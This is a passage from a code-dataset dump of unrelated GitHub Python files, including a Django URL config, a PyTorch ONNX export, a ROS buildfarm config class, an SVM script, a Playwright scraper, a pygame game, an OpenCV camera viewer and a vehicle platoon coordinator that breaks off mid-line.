'add_category'),\n\tpath('order_details',OrderDetails.as_view(), name = 'order_details'),\n\tpath('user_details',UserDetails.as_view(), name = 'user_details'),\n\tpath('delete_category/<str:category_id>/',views.delete_category, name = 'delete_category'),\n]\n\t\n\n","repo_name":"richusherseen/Crafty","sub_path":"master/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1166,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"17591730490","text":"from torch import nn\nimport torch.nn.functional as F\n\n\nclass LeNet(nn.Module):\n\tdef __init__(self):\n\t\tsuper(LeNet, self).__init__()\n\t\tself.fc1 = nn.Linear(2, 2)\n\t\tself.fc2 = nn.Linear(2, 1)\n\n\tdef forward(self, x):\n\t\tx = F.relu(self.fc1(x))\n\t\tx = F.relu(self.fc2(x))\n\t\treturn x\n\n\tdef num_flat_features(self, x):\n\t\tsize = x.size()[1:]\n\t\tnum_features = 1\n\t\tfor s in size:\n\t\t\tnum_features *= s\n\t\treturn num_features\n\n\nnet = LeNet()\nprint(net)\nmodel_path = ''\nx = torch.randn(1, 1, 1, 2, requires_grad=True)\n\ntorch.onnx.export(\n net, # model being run\n x, # model input (or a tuple for multiple inputs)\n os.path.join(model_path, \"model.onnx\"),\n # where to save the model (can be a file or file-like object)\n export_params=True, # store the trained parameter weights inside the model file\n opset_version=10, # the ONNX version to export the model to\n do_constant_folding=True, # whether to execute constant folding for optimization\n)","repo_name":"juansuzano/BrevitasProjects","sub_path":"SimpleFCNN/TorchNN.py","file_name":"TorchNN.py","file_ext":"py","file_size_in_byte":953,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"31718297772","text":"from .build_file import BuildFile\n\n\nclass ReleaseBuildFile(BuildFile):\n\n _type = 'release-build'\n\n def __init__(self, name, data):\n assert 'type' in data, \\\n \"Expected file type is '%s'\" % ReleaseBuildFile._type\n assert data['type'] == ReleaseBuildFile._type, \\\n \"Expected file type is '%s', not '%s'\" % \\\n (ReleaseBuildFile._type, data['type'])\n\n assert 'version' in data, \\\n (\"Release build file for '%s' lacks required version \" +\n \"information\") % self.name\n assert int(data['version']) in [1, 2], \\\n (\"Unable to handle '%s' format version '%d', please update \" +\n \"rosdistro (e.g. on Ubuntu/Debian use: sudo apt-get update && \" +\n \"sudo apt-get install --only-upgrade python-rosdistro)\") % \\\n (ReleaseBuildFile._type, int(data['version']))\n self.version = int(data['version'])\n\n super(ReleaseBuildFile, self).__init__(name, data)\n\n self.abi_incompatibility_assumed = None\n if 'abi_incompatibility_assumed' in data:\n self.abi_incompatibility_assumed = \\\n bool(data['abi_incompatibility_assumed'])\n\n self.jenkins_binary_job_label = None\n if 'jenkins_binary_job_label' in data:\n self.jenkins_binary_job_label = data['jenkins_binary_job_label']\n self.jenkins_binary_job_priority = None\n if 'jenkins_binary_job_priority' in data:\n self.jenkins_binary_job_priority = \\\n int(data['jenkins_binary_job_priority'])\n self.jenkins_binary_job_timeout = None\n if 'jenkins_binary_job_timeout' in data:\n self.jenkins_binary_job_timeout = \\\n int(data['jenkins_binary_job_timeout'])\n\n self.jenkins_source_job_label = None\n if 'jenkins_source_job_label' in data:\n self.jenkins_source_job_label = data['jenkins_source_job_label']\n self.jenkins_source_job_priority = None\n if 'jenkins_source_job_priority' in data:\n self.jenkins_source_job_priority = \\\n int(data['jenkins_source_job_priority'])\n self.jenkins_source_job_timeout = None\n if 'jenkins_source_job_timeout' in data:\n self.jenkins_source_job_timeout = \\\n int(data['jenkins_source_job_timeout'])\n\n self.package_whitelist = []\n if 'package_whitelist' in data:\n self.package_whitelist = data['package_whitelist']\n assert isinstance(self.package_whitelist, list)\n self.package_blacklist = []\n if 'package_blacklist' in data:\n self.package_blacklist = data['package_blacklist']\n assert isinstance(self.package_blacklist, list)\n self.skip_ignored_packages = None\n if 'skip_ignored_packages' in data:\n self.skip_ignored_packages = \\\n bool(data['skip_ignored_packages'])\n\n self.sync_package_count = None\n self.sync_packages = []\n if 'sync' in data:\n if 'package_count' in data['sync']:\n self.sync_package_count = int(data['sync']['package_count'])\n if 'packages' in data['sync']:\n self.sync_packages = data['sync']['packages']\n assert isinstance(self.sync_packages, list)\n\n assert 'target_repository' in data\n self.target_repository = data['target_repository']\n\n assert 'upload_credential_id' in data\n self.upload_credential_id = data['upload_credential_id']\n\n def filter_packages(self, package_names):\n res = set(package_names)\n if self.package_whitelist:\n res &= set(self.package_whitelist)\n res -= set(self.package_blacklist)\n return res\n","repo_name":"pombredanne/ros_buildfarm","sub_path":"ros_buildfarm/config/release_build_file.py","file_name":"release_build_file.py","file_ext":"py","file_size_in_byte":3747,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"78"} +{"seq_id":"43781164363","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom numpy.random import multivariate_normal as mvn\r\nfrom sklearn.model_selection import train_test_split\r\nfrom qpsolvers import solve_qp\r\nfrom sklearn import svm\r\n\r\n'''Support Vector Machine\r\nBy: Neeve Kadosh\r\nDate: 17 October 2019\r\n'''\r\n\r\nplt.close('all')\r\n\r\n# Sample size\r\nsample_size = 1000\r\n\r\n# Covariance\r\ncovariance = [[5, 50],[50, 5]]\r\n\r\n# Mean first class\r\nmean_0 = [40, 40]\r\nmean_1 = [5, 5]\r\n\r\n# Generate 2 class gaussian data set\r\nx_0 = mvn(mean_0, covariance, sample_size)\r\nx_1 = mvn(mean_1, covariance, sample_size)\r\n\r\n# Creating labels, class 1 - 0s, class 2 - 1s\r\ny_0 = np.zeros((np.shape(x_0)))\r\ny_1 = np.ones((np.shape(x_1)))\r\n\r\n# Concatenated data and labels\r\nx = np.concatenate((x_0, x_1))\r\ny = np.concatenate((y_0, y_1))\r\n\r\n# Visualization of the gaussian data\r\ndebug = True\r\nif debug:\r\n plt.figure\r\n plt.scatter(x_0[:,0], x_0[:,1], c='r', label='Unlabeled Class 1')\r\n plt.scatter(x_1[:,0], x_1[:,1], c='g', label='Unlabeled Class 2')\r\n plt.grid()\r\n plt.legend()\r\n plt.show()\r\n\r\n# Split data into testing and training data\r\ntest_size = .2\r\nx_train, x_test, y_train, y_test = \\\r\n train_test_split(x, y, test_size=test_size)\r\n\r\nP = np.dot(x_train, y_train.T) + 1e-8 * np.eye(len(x_train))\r\nprint(np.shape(P))\r\nq = -np.ones(len(x_train))\r\nG = np.eye(len(x_train))\r\nh = -1 * np.ones(len(x_train))\r\n\r\nw = solve_qp(P, q, G, h)\r\nprint('Weights are:', w)\r\nlength = np.linspace(0, 1, len(w))\r\nplt.scatter(length, w, marker='x')\r\n","repo_name":"kadoshn3/machine-learning","sub_path":"SupportVectorMachine/SVM.py","file_name":"SVM.py","file_ext":"py","file_size_in_byte":1523,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"73731139131","text":"from playwright.sync_api import sync_playwright\n\nimport time\n\nfrom functions import url_builder as ub\n\n\ndef html_parser(site_code: int, keyword: str):\n\n url = ub.url_builder(site_code, keyword)\n with sync_playwright() as p:\n browser = p.chromium.launch()\n context = browser.new_context(viewport={\"width\": 1920, \"height\": 1080})\n\n page = browser.new_page()\n\n page.goto(url, wait_until=\"domcontentloaded\")\n # page.wait_for_selector(selector_wait) # wait for content to load\n\n # page.mouse.wheel(horizontally, vertically(positive is\n # scrolling down, negative is scrolling up)\n for i in range(2): # make the range as long as needed\n page.mouse.wheel(0, 15000)\n time.sleep(2)\n i += 1\n time.sleep(2)\n for i in range(2): # make the range as long as needed\n page.mouse.wheel(0, -15000)\n time.sleep(2)\n i += 1\n time.sleep(2)\n # ---------------------\n html = page.content()\n browser.close()\n\n return html\n","repo_name":"AmazingFr3d/ecommerce_aggregator_with_python","sub_path":"functions/locator.py","file_name":"locator.py","file_ext":"py","file_size_in_byte":1077,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"2629170449","text":"# This Python file uses the following encoding: utf-8\n'''\nGame: Find Path\nFile: game.py\nProgrammer: Shivam Swarnkar\nPurpose: This file contains one function play which allows caller to run\nthe entire game for one time. It uses functions from the file \"char.py\"\n'''\n\nimport pygame\nimport char\nimport random\n\nBLACK = (0, 0, 0)\nWHITE = (255, 255, 255)\nGREEN = (0, 255, 0)\nRED = (255, 0, 0)\nBLUE = (0,0,255)\n\n\n\n#function play()\ndef play():\n \n pygame.init()\n\n exit_code = 0\n\n #plyer\n ankur_x = 20\n ankur_y = 20\n ankur_speed_x = 0\n ankur_speed_y = 0\n\n #scoring\n time_left = 600\n life = 3 #change the life to make game easy\n\n #goal\n \n r_change = 5\n b_change = 5\n g_change = 5\n\n rad_r = 30\n rad_b = 20\n rad_g = 50\n \n # Set the height and width of the screen\n s_x = 800\n s_y = 800\n size = [s_x, s_y]\n\n screen = pygame.display.set_mode(size)\n \n pygame.display.set_caption(\"Find Path\")\n \n #Loop\n done = False\n \n # manage speed of the screen updates\n clock = pygame.time.Clock()\n \n # Starting position of the rectangle\n rect_x = 50\n rect_y = 50\n \n # Speed and direction of rectangle\n rect_change_x = 5\n rect_change_y = 5\n \n #fonts we use to draw text\n font = pygame.font.Font(None, 36)\n font1 = pygame.font.Font(None, 72)\n font3 = pygame.font.Font(None, 14)\n font4 = pygame.font.Font(None, 20)\n \n display_instructions = True\n instruction_page = 1\n\n pygame.mixer.music.load('open.mp3')\n pygame.mixer.music.set_endevent(pygame.constants.USEREVENT)\n pygame.mixer.music.play()\n\n c1_r = 50\n c2_r = 25\n\n c1_change = 5\n c2_change = 5\n\n #obs\n\n x_ra = 130\n x_sh = 330\n y_ra = 200\n y_sh = 350\n \n # Create an empty array\n obs_listR = []\n obs_listG = []\n \n # add different x,y pair into the empy arrys\n y_g = 0\n y_r = 0\n for i in range(50):\n x_g = (s_x/4)\n y_g +=50\n obs_listG.append([x_g, y_g])\n\n for i in range(50):\n x_r = (3*s_x/4)\n y_r +=50\n obs_listR.append([x_r, y_r])\n\n\n # -------- Welcome Page Loop -----------\n \n while not done and display_instructions:\n for event in pygame.event.get(): # User did something\n if event.type == pygame.QUIT: # If user clicked close\n done = True # Flag that we are done so we exit this loop\n\n elif event.type == pygame.constants.USEREVENT:\n pygame.mixer.music.load('open.mp3')\n pygame.mixer.music.play()\n if event.type == pygame.MOUSEBUTTONDOWN:\n instruction_page += 1\n \n if instruction_page == 3:\n display_instructions = False\n\n\n screen.fill(WHITE)\n \n\n \n if instruction_page == 1:\n \n text = font.render(\"WELCOME\", True, BLACK)\n screen.blit(text, [250, 350])\n \n text = font.render(\"Click To Continue....\", True, BLACK)\n screen.blit(text, [250, 400])\n \n if instruction_page == 2:\n text = font1.render(\"F\", True, GREEN)\n screen.blit(text, [250, 350])\n\n text = font1.render(\"I\", True, RED)\n screen.blit(text, [280, 350])\n\n text = font1.render(\"N\", True, BLACK)\n screen.blit(text, [310, 350])\n\n text = font1.render(\"D\", True, GREEN)\n screen.blit(text, [340, 350])\n\n text = font1.render(\"P\", True, GREEN)\n screen.blit(text, [350, 400])\n\n text = font1.render(\"A\", True, RED)\n screen.blit(text, [380, 400])\n\n text = font1.render(\"T\", True, BLACK)\n screen.blit(text, [410, 400])\n\n text = font1.render(\"H\", True, GREEN)\n screen.blit(text, [440, 400])\n\n text = font.render(\"©Shivam Swarnkar\", True, BLUE)\n screen.blit(text, [500, 750])\n\n pygame.draw.circle(screen, GREEN, [375,375], c1_r, 2)\n pygame.draw.circle(screen, RED, [375,375], c2_r, 2)\n\n c1_r += c1_change\n\n c2_r += c2_change\n\n if c1_r > 400 or c1_r < 50:\n c1_change = c1_change*-1\n\n if c2_r >400 or c2_r < 25:\n c2_change = c2_change*-1\n\n \n clock.tick(60)\n\n pygame.display.flip()\n\n \n # -------- Main GAME Loop -----------\n pygame.mixer.music.load('music.mp3')\n pygame.mixer.music.set_endevent(pygame.constants.USEREVENT)\n pygame.mixer.music.play()\n while not done:\n for event in pygame.event.get(): # User did something\n if event.type == pygame.QUIT: # If user clicked close\n done = True # Flag that we are done so we exit this loop\n elif event.type == pygame.constants.USEREVENT:\n pygame.mixer.music.load('music.mp3')\n pygame.mixer.music.play()\n\n elif event.type == pygame.KEYDOWN:\n # Figure out if it was an arrow key. If so\n # adjust speed.\n if event.key == pygame.K_LEFT:\n ankur_speed_x =- 3\n elif event.key == pygame.K_RIGHT:\n ankur_speed_x = 3\n elif event.key == pygame.K_UP:\n ankur_speed_y =- 3\n elif event.key == pygame.K_DOWN:\n ankur_speed_y = 3\n \n # User let up on a key\n elif event.type == pygame.KEYUP:\n # If it is an arrow key, reset vector back to zero\n if event.key == pygame.K_LEFT:\n ankur_speed_x =0\n elif event.key == pygame.K_RIGHT:\n ankur_speed_x =0\n elif event.key == pygame.K_UP:\n ankur_speed_y =0\n elif event.key == pygame.K_DOWN:\n ankur_speed_y =0\n\n ankur_x += ankur_speed_x\n ankur_y += ankur_speed_y\n\n \n \n # Set the screen background\n screen.fill(WHITE)\n\n #create player position\n char.draw_Ankur(screen, ankur_x, ankur_y)\n\n #create goal\n char.draw_goal(screen, 700, 700)\n \n pygame.draw.circle(screen, RED, [730,740], rad_r, 2)\n pygame.draw.circle(screen, BLACK, [730,740], rad_b, 2)\n pygame.draw.circle(screen, GREEN, [730,740], rad_g, 2)\n\n rad_r += r_change\n rad_b += b_change\n rad_g += g_change\n\n if rad_r > 70 or rad_r < 30:\n r_change = r_change*-1\n if rad_b > 70 or rad_b < 20:\n b_change = b_change*-1\n if rad_g > 70 or rad_g < 30:\n g_change = g_change*-1\n\n\n\n #Process rahul and sheela\n char.draw_Rahul(screen, x_ra, y_ra)\n char.draw_Sheela(screen, x_sh, y_sh)\n char.draw_Rahul(screen, x_ra+random.randint(0,50), y_ra+random.randint(0,50))\n char.draw_Sheela(screen, x_sh+random.randint(0,50), y_sh+random.randint(0,50))\n char.draw_Rahul(screen, x_ra+random.randint(0,50), y_ra+random.randint(0,50))\n char.draw_Sheela(screen, x_sh+random.randint(0,50), y_sh+random.randint(0,50))\n char.draw_Rahul(screen, x_ra+random.randint(0,100), y_ra+random.randint(0,350))\n char.draw_Sheela(screen, x_sh+random.randint(0,100), y_sh+random.randint(0,350))\n char.draw_Rahul(screen, x_ra+random.randint(0,100), y_ra+random.randint(0,350))\n char.draw_Sheela(screen, x_sh+random.randint(0,100), y_sh+random.randint(0,350))\n char.draw_Rahul(screen, x_ra+random.randint(0,100), y_ra+random.randint(0,350))\n char.draw_Sheela(screen, x_sh+random.randint(0,100), y_sh+random.randint(0,350))\n char.draw_Rahul(screen, x_ra+random.randint(0,100), y_ra+random.randint(0,350))\n char.draw_Sheela(screen, x_sh+random.randint(0,100), y_sh+random.randint(0,450))\n char.draw_Rahul(screen, x_ra+random.randint(0,100), y_ra-random.randint(0,550))\n char.draw_Sheela(screen, x_sh+random.randint(0,100), y_sh-random.randint(0,650))\n char.draw_Rahul(screen, x_ra+random.randint(0,100), y_ra-random.randint(0,550))\n char.draw_Sheela(screen, x_sh+random.randint(0,100), y_sh-random.randint(0,650))\n char.draw_Rahul(screen, x_ra+random.randint(0,100), y_ra-random.randint(0,550))\n char.draw_Sheela(screen, x_sh+random.randint(0,100), y_sh-random.randint(0,650))\n\n x_ra_change = random.randint(0, 30)\n y_ra_change = random.randint(0, 30)\n x_sh_change = random.randint(0, 30)\n y_sh_change = random.randint(0, 30)\n\n x_ra += x_ra_change\n y_ra += y_ra_change\n x_sh += x_sh_change\n y_sh += y_sh_change\n\n \n\n\n if y_ra > 800:\n # Reset it just above the top\n y_ra = 0\n\n if y_sh > 800:\n # Reset it just above the top\n y_sh = 0\n\n if x_ra > 300:\n # Reset it just above the top\n x_ra = 130\n\n if x_sh > 600:\n # Reset it just above the top\n x_sh = 330\n\n \n \n # Process each obs in the list\n for i in range(len(obs_listG)):\n \n # Draw the obs\n char.draw_obsR(screen, obs_listG[i][0], obs_listG[i][1])\n # Move the obs down one pixel\n obs_listG[i][1] += 2\n \n # If the obs has moved off the bottom of the screen\n if obs_listG[i][1] > 800:\n # Reset it just above the top\n y_g = 0\n obs_listG[i][1] = y_g\n # Give it a new x position\n x_g = (s_x/4)\n obs_listG[i][0] = x_g\n\n for i in range(len(obs_listR)):\n \n # Draw the obst\n char.draw_obsG(screen, obs_listR[i][0], obs_listR[i][1])\n # Move down\n obs_listR[i][1] += 8\n \n # If the obs has moved off the bottom of the screen\n if obs_listR[i][1] > 800:\n # Reset it just above the top\n y_r = 0\n obs_listR[i][1] = y_r\n # Give it a new x position\n x_r = (3*s_x/4)\n obs_listR[i][0] = x_r\n\n #game Alogrithm\n\n hit1 = 0\n hit2 = 0\n\n for i in range(len(obs_listG)):\n if (obs_listG[i][1]+10 <= ankur_y and obs_listG[i][1]+15 >= ankur_y):\n if (obs_listG[i][0]+10 <= ankur_x and obs_listG[i][0]+20 >= ankur_x):\n hit1 = 1\n life = life-hit1\n\n for i in range(len(obs_listR)):\n if (obs_listR[i][1]+10 <= ankur_y and obs_listR[i][1]+15 >= ankur_y):\n if (obs_listR[i][0]+10 <= ankur_x and obs_listR[i][0]+20 >= ankur_x):\n hit2 = 1\n life = life-hit2\n\n if(ankur_x < x_ra +2.5 or ankur_x > x_ra -2.5):\n if(ankur_y < y_ra +2.5 and ankur_y > y_ra -2.5):\n life = life - 1\n \n if(ankur_x < x_sh +2.5 or ankur_x > x_sh -2.5):\n if(ankur_y < y_sh +2.5 and ankur_y > y_sh -2.5):\n life = life - 1\n\n if(ankur_x == 725):\n if(ankur_y ==725):\n exit_code = 1\n done = True\n\n \n\n\n string = \"Time Left: \" + str(time_left)\n\n if time_left > 0:\n time_left = time_left -1\n elif time_left == 0:\n exit_code = -1\n done = True\n\n text = font3.render(string, True, RED)\n screen.blit(text, [700,20])\n\n if life == 0:\n exit_cod = -1\n done = True\n\n dist = 0\n\n \n\n string = \"Lives left: \" + str(life)\n\n text = font4.render(string, True, BLACK)\n screen.blit(text, [5, 680])\n\n for times in range(life):\n dist += 20\n char.draw_Ankur(screen, dist, 700)\n \n \n pygame.display.flip()\n clock.tick(20)\n \n clicked = True\n done = False\n\n \n #---------GAME OVER SCREEN---------------\n if exit_code == -1 or exit_code == 0:\n pygame.mixer.music.load('boo.mp3')\n pygame.mixer.music.set_endevent(pygame.constants.USEREVENT)\n pygame.mixer.music.play()\n screen_counter = 0\n while not done and clicked:\n for event in pygame.event.get(): # User did something\n if event.type == pygame.QUIT: # If user clicked close\n done = True # Flag that we are done so we exit this loop\n \n\n elif event.type == pygame.constants.USEREVENT:\n pygame.mixer.music.load('music.mp3')\n pygame.mixer.music.play()\n if event.type == pygame.MOUSEBUTTONDOWN:\n clicked = False\n\n if screen_counter < 5:\n screen_counter += 1\n\n else:\n screen_counter = 0\n\n \n # Set the screen background\n if(screen_counter == 1):\n screen.fill(GREEN)\n elif(screen_counter % 2 == 0):\n screen.fill(BLACK)\n else:\n screen.fill(RED)\n # Set the screen background\n \n\n text = font.render(\"GAME OVER \", True, RED)\n screen.blit(text, [250, 350])\n \n text = font.render(\"Click To Start From beginning ....\", True, WHITE)\n screen.blit(text, [250, 400])\n\n text = font.render(\"©Shivam Swarnkar\", True, WHITE)\n screen.blit(text, [500, 750])\n\n \n\n\n pygame.draw.circle(screen, WHITE, [375,375], c1_r, 2)\n pygame.draw.circle(screen, RED, [375,375], c2_r, 2)\n\n c1_r += c1_change\n\n c2_r += c2_change\n\n if c1_r > 400 or c1_r < 50:\n c1_change = c1_change*-1\n\n if c2_r >400 or c2_r < 25:\n c2_change = c2_change*-1\n\n \n clock.tick(60)\n\n pygame.display.flip()\n # on exit.\n\n \n # on exit.\n\n #---------Winner Screen----------------\n\n elif exit_code == 1:\n pygame.mixer.music.load('clap.mp3')\n pygame.mixer.music.set_endevent(pygame.constants.USEREVENT)\n pygame.mixer.music.play()\n while not done and clicked:\n for event in pygame.event.get(): # User did something\n if event.type == pygame.QUIT: # If user clicked close\n done = True # Flag that we are done so we exit this loop\n\n elif event.type == pygame.constants.USEREVENT:\n pygame.mixer.music.load('open.mp3')\n pygame.mixer.music.play()\n if event.type == pygame.MOUSEBUTTONDOWN:\n clicked = False\n \n # Set the screen background\n screen.fill(GREEN)\n\n text = font.render(\"YOU WON!!!!\", True, RED)\n screen.blit(text, [250, 350])\n \n text = font.render(\"Click To Start From beginning ....\", True, WHITE)\n screen.blit(text, [250, 400])\n\n text = font.render(\"©Shivam Swarnkar\", True, WHITE)\n screen.blit(text, [500, 750])\n\n \n\n\n pygame.draw.circle(screen, WHITE, [375,375], c1_r, 2)\n pygame.draw.circle(screen, RED, [375,375], c2_r, 2)\n\n c1_r += c1_change\n\n c2_r += c2_change\n\n if c1_r > 400 or c1_r < 50:\n c1_change = c1_change*-1\n\n if c2_r >400 or c2_r < 25:\n c2_change = c2_change*-1\n\n \n clock.tick(60)\n\n pygame.display.flip()\n \n \n\n pygame.quit()\n\n return done\n\n\n\n","repo_name":"shivamswarnkar/Path-Finder","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":15527,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"5683918315","text":"import cv2\n\nwebCam = cv2.VideoCapture(1,cv2.CAP_DSHOW)\nlaptopCam = cv2.VideoCapture(0, cv2.CAP_DSHOW)\n\nwhile(laptopCam.isOpened() and webCam.isOpened()):\n ret, frame = laptopCam.read()\n _, webFrame = webCam.read()\n if ret == True:\n cv2.imshow('laptop',frame)\n cv2.imshow('webCam', webFrame)\n k = cv2.waitKey(1)\n # 113 is ASCII code for q key\n if k == 113:\n break\n else:\n break\n\n# Release the objects\nlaptopCam.release()\ncv2.destroyAllWindows()","repo_name":"Raymond131/OpenCV-Project","sub_path":"openCV learning/simpleStreaming/simpleStream copy.py","file_name":"simpleStream copy.py","file_ext":"py","file_size_in_byte":510,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"8792113783","text":"\"\"\"\n **Platoon Gap Coordinator**\n\n This module details the implementation of the ``Front Gap`` and ``Rear Gap`` Coordinators existing in each one of the vehicles created when running a platoon. The coordinators have access to a centralized information center called ``Data Query`` to retrieve information in the vecinity of the vehicle.\n\n\"\"\"\n\n# ============================================================================\n# STANDARD IMPORTS\n# ============================================================================\n\nfrom typing import Iterable\nimport pandas as pd\nimport networkx as nx\nfrom itertools import groupby\nfrom dataclasses import dataclass, asdict\nfrom itertools import chain\n\n\n# ============================================================================\n# INTERNAL IMPORTS\n# ============================================================================\n\nfrom ensemble.component.vehiclelist import EMPTY_MESSAGE, VehicleList\nfrom ensemble.logic.platoon_set import PlatoonSet\nfrom ensemble.logic.subscriber import Subscriber\nfrom ensemble.control.tactical.vehcoordinator import (\n VehGapCoordinator,\n MAXNDST,\n PLT_TYP,\n)\nfrom ensemble.metaclass.controller import AbsController\nfrom ensemble.tools.screen import log_in_terminal\n\n# ============================================================================\n# CLASS AND DEFINITIONS\n# ============================================================================\n\nEMPTY_MESSAGE = \"\\tNo platoons have been registered\"\n\n\n@dataclass\nclass GlobalGapCoordinator(Subscriber):\n def __init__(self, vehicle_registry: VehicleList):\n self._gcnet = nx.DiGraph()\n super().__init__(vehicle_registry)\n self.platoon_sets = {}\n self.free_gcs = []\n self.update_platoons()\n\n # =========================================================================\n # PROTOCOLS\n # =========================================================================\n def __hash__(self):\n return hash(self._publisher)\n\n def __getitem__(self, index):\n result = self._gcnet.nodes()[index].get(\"vgc\")\n return result\n\n def pandas_print(self, columns: Iterable = []) -> pd.DataFrame:\n \"\"\"Transforms vehicle list into a pandas for rendering purposes\n\n Returns:\n df (DataFrame): Returns a table with pandas data.\n\n \"\"\"\n veh_data = []\n for _, vgc in self._gcnet.nodes(data=True):\n data = vgc.get(\"vgc\")\n d = asdict(data)\n d = dict(d, **asdict(data.ego))\n d[\"platoonid\"] = data.platoonid\n d[\"distance\"] = data.ego.distance\n veh_data.append(d)\n df = pd.DataFrame(veh_data)\n if columns and not df.empty:\n df = df[columns]\n return df.set_index([\"platoonid\", \"vehid\"]) if not df.empty else df\n\n def pretty_print(self, columns: list = []) -> str:\n \"\"\"Summary of info\"\"\"\n df = self.pandas_print([\"platoonid\", \"vehid\"] + columns)\n return EMPTY_MESSAGE if df.empty else str(df)\n\n def __str__(self):\n if self._gcnet is None:\n return EMPTY_MESSAGE\n return str(self.pandas_print())\n\n def __repr__(self):\n if self._gcnet is None:\n return EMPTY_MESSAGE\n return repr(self.pandas_print())\n\n def __len__(self):\n if self._gcnet is None:\n return 0\n return len(self._gcnet.nodes)\n\n # =========================================================================\n # METHODS\n # =========================================================================\n\n def update(self):\n \"\"\"Follower method to add/release vehicle gapcoordinator\"\"\"\n\n self.add_vehicle_gcs()\n self.release_vehicle_gcs()\n self.update_leaders()\n\n def add_vehicle_gcs(self):\n \"\"\"Add all gap coordinators w.r.t publisher\"\"\"\n for veh, _ in self._publisher.iterate_links_distances():\n vgc = VehGapCoordinator(veh)\n self.add_gapcoordinator(vgc)\n\n def release_vehicle_gcs(self):\n \"\"\"Releases all gap coordinators w.r.t publihser\"\"\"\n for vgc in self.iter_group_link(downtoup=True, group=True):\n if (\n vgc.ego.vehid\n # not in self._publisher._request.get_vehicles_property(\"vehid\")\n not in [v.vehid for v in self._publisher]\n ):\n self.release_gapcoordinator(vgc)\n\n def vgcs(self):\n \"Existing vehicle gap coordinators\"\n return iter(\n map(lambda x: x[1].get(\"vgc\"), self._gcnet.nodes(data=True))\n )\n\n def add_gapcoordinator(self, vgc: VehGapCoordinator):\n \"\"\"Adds a single gap coordinator to the list\"\"\"\n if vgc not in self.vgcs() and vgc.ego.vehtype in PLT_TYP:\n self._gcnet.add_node(vgc.ego.vehid, vgc=vgc)\n self[vgc.ego.vehid].init_reference()\n self.update_leader(vgc)\n\n def release_gapcoordinator(self, vgc: VehGapCoordinator):\n \"\"\"Releases a single gap coordinator from the node list\"\"\"\n self._gcnet.remove_node(vgc.ego.vehid)\n self.free_gcs.append(vgc)\n\n def update_leader(self, vgc: VehGapCoordinator):\n \"\"\"Add or creates leader for a specific gap coordinator\"\"\"\n leader = self._publisher.get_leader(vgc.ego, distance=MAXNDST)\n if (\n leader is not None\n and leader.vehtype in PLT_TYP\n and vgc.ego.vehtype in PLT_TYP\n ):\n self._gcnet.add_edge(vgc.ego.vehid, leader.vehid)\n self[vgc.ego.vehid].leader = self[leader.vehid]\n self[vgc.ego.vehid].leader_data = {\"id\": leader.vehid}\n\n def update_leaders(self):\n \"\"\"Updates leaders for all gap coordinators\"\"\"\n for vgc in self.iter_group_link(downtoup=True, group=True):\n self.update_leader(vgc)\n\n def update_states(self):\n \"\"\"Update platoon state according to current information\"\"\"\n for vgc in self.iter_group_link(downtoup=True, group=True):\n vgc.status = vgc.solve_state()\n\n def iter_group_link(self, downtoup=True, group=False):\n \"\"\"Iteratorator by link ordered from largest ttd towards smaller\n\n Args:\n downtoup (bool, optional): Downstream to upstream. Defaults to True.\n group (bool, optional): Returns without grouping per platoon. Defaults to False.\n\n Yields:\n vgc (VehicleGapCoordinator): Vehicle gap coordinator or iterable.\n \"\"\"\n vtf = lambda x: x[1].get(\"vgc\").ego.link\n vgcs = sorted(\n self._gcnet.nodes(data=True),\n key=lambda x: x[1].get(\"vgc\").ego.ttd,\n reverse=downtoup,\n )\n for _, group_gc in groupby(vgcs, vtf):\n if group:\n for _, gc in group_gc:\n yield gc.get(\"vgc\")\n else:\n yield group_gc\n\n def create_platoon_sets(self):\n \"\"\"Create all platoons subsets\"\"\"\n converter = lambda x: x[1].get(\"vgc\")\n for vgc in self.iter_group_link(downtoup=True, group=True):\n if not vgc.platoon:\n if vgc.leader.ego == vgc.ego or vgc.ego in PLT_TYP:\n # Head\n ps = PlatoonSet((vgc,))\n self.platoon_sets[ps.platoonid] = ps\n vgc.positionid = len(ps) - 1\n else:\n # Try join from behind\n\n # Retrieve id of leader\n lps = self.platoon_sets[vgc.leader.platoonid]\n nwps = PlatoonSet((vgc,))\n jps = lps + nwps\n\n if isinstance(jps, tuple):\n # This means back was refused\n self.platoon_sets[jps[1].platoonid] = jps[1]\n vgc.positionid = len(jps[1]) - 1\n else:\n self.platoon_sets[vgc.leader.platoonid] = jps\n PlatoonSet.set_pid(\n nwps.platoonid\n ) # Retrieves former id\n vgc.positionid = len(jps) - 1\n vgc.platoon = True\n\n def update_platoons(self):\n \"\"\"First iteration to fill the platoon registry based on the current\n vehicle information.\n \"\"\"\n\n # The main idea to update the platoon_registry is the following:\n # 1. Once the vehicle registry is updated, via a dispatch may update\n # the list of gap coordinators.\n # 2. When entering here gap coordinators should be available.\n # 3. W\n # 2. Merge gap coordinators:\n # 2a. Iterate over gc per link\n # 2b. Iterate from upstream towards downstream on gc (small with largest ttd)\n # 2c. Consider the gc on the current link\n # 2d. For ech gc find it's leader.\n # 2d1. Create a platoon set for the vehicle with less ttd\n # 2d1. Is my leader joinable?\n # yes -> join current platoon set with my leader\n # no -> return\n\n self.update()\n\n # Gap Coord (gc) Group by link (Vehicle in same link)\n self.create_platoon_sets()\n\n self.update_states()\n\n @property\n def nplatoons(self) -> int:\n \"\"\"Return the number of created platoons\"\"\"\n return len(self.platoon_sets.keys())\n\n @property\n def cacc(self):\n \"\"\"Returns the operational controller object\"\"\"\n return self._cacc\n\n @cacc.setter\n def cacc(self, control: AbsController):\n \"\"\"A function just to attach the control of the system to the layer and initialize the references\n\n Args:\n control (AbsController): Callable, operational controller\n \"\"\"\n self._cacc = control\n\n def apply_cacc(self, time: float):\n \"\"\"This method intends to apply the cacc over all vehicles within the platoon at specific time step\"\"\"\n\n for vgc in self.iter_group_link(downtoup=True, 